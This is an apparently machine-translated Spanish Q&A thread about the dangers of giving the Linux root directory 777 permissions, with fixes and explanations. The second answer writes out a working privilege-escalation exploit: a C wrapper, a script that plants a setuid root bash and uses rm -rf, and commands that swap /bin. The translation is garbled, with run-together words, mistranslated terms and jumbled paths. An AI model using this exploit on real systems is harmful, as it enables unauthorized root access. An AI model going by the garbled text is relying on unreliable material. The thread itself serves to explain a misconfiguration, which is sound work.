/no debería ser escribible en todo el mundo

/no debería ser escribible en todo el mundo

Sin embargo, la mayor parte del contenido es 755.

¿Es esto un problema?

Respuesta1

Es interesante que en /realidad permita 777establecer permisos. La /carpeta no debe tener 777permisos, ya que esto significa que cualquier usuario que haya iniciado sesión en el sistema puede crear archivos y carpetas en el /nivel raíz. He probado esto en una VM y túNO PUEDOelimina cualquiera de las carpetas o archivos que no estén 777sin estar sudo, rooto el owner. Los permisos de acceso aún se siguen, como si intentar acceder a la /rootcarpeta en sí le negaría el permiso. Sin embargo, dicho esto, aún puedes mover la /rootcarpeta para /root.oldcrear pequeños estragos.

Para solucionar este problema, puede ejecutar sudo chmod 755 /para cambiar los permisos a lo que deberían ser. También puede ejecutarlo sudo chown root:root /solo para asegurarse de que sea propiedad del root. NO ejecute ninguno de esos comandos con -R ya que esto cambiará todos los archivos y carpetas en la partición para que coincidan con los permisos y la propiedad.

¡Espero que esto ayude!

Respuesta2

/no debería ser escribible en todo el mundo

/ser escribible en todo el mundo puede ser unaenormeproblema. Al tener permisos de escritura /, cualquier usuario puede mover/cambiar el nombre de cualquier archivo o directorio en /. Esto significa que cualquier usuario puede reemplazar /etc, /usro cualquiera de los otros directorios /con directorios de su elección.

Denegación de servicio: trivial

Cualquier usuario puede hacer DoS trivialmente en su sistema, cambiando el nombre /etcy /usr.

Escalada de privilegios: un poco menos trivial

Es un poco más difícil realizar una escalada de privilegios. Un usuario puede reemplazar /bincon su propia copia, y cualquier proceso que luego intente usar cp, o inclusoiniciar un caparazón, quedará inmediatamente a su merced. Todo lo que el usuario debe hacer es esperar a que un proceso se ejecute como root para usar cualquier comando en /bin, o que el usuario root use el inicio de sesión, y listo.

Ejemplo

bash.c:

#include<sys/types.h>
#include<unistd.h>

int main(int argc, char*argv[], char *env[])
{
    if (getuid() == 0) {
        system("/home/muru/foo");
    }
    execve("/bin/bash", argv, env); 
}

foo:

#!/bin/sh

mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash

Y luego:

$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin

Y la próxima vez que root inicie un shell, obtendrá un ejecutable setuid en su directorio de inicio que luego podrá usar cómodamente para obtener root cuando lo desee, sin dejar mucho rastro.

Respuesta3

No. No es seguro que /(el directorio raíz) tenga 777permisos. Eso significa rwxrwxrwx, es decir, que cada usuario tiene permiso de escritura en el directorio raíz.

Con ese permiso, cada usuario podrá crear nuevos subdirectorios, eliminar subdirectorios existentes y reemplazar subdirectorios existentes. Por ejemplo, un usuario malintencionado podría eliminarlo /bin(cambiándole el nombre a /bin.old) y crear uno nuevo /binde su propiedad que contenga ejecutables maliciosos. O el usuario podría eliminarlo /etc(cambiándole el nombre a /etc.old) y crear uno nuevo que contenga un archivo /etcnuevo que le permita iniciar sesión en todas las cuentas del sistema./etc/passwd/etc/shadow

información relacionada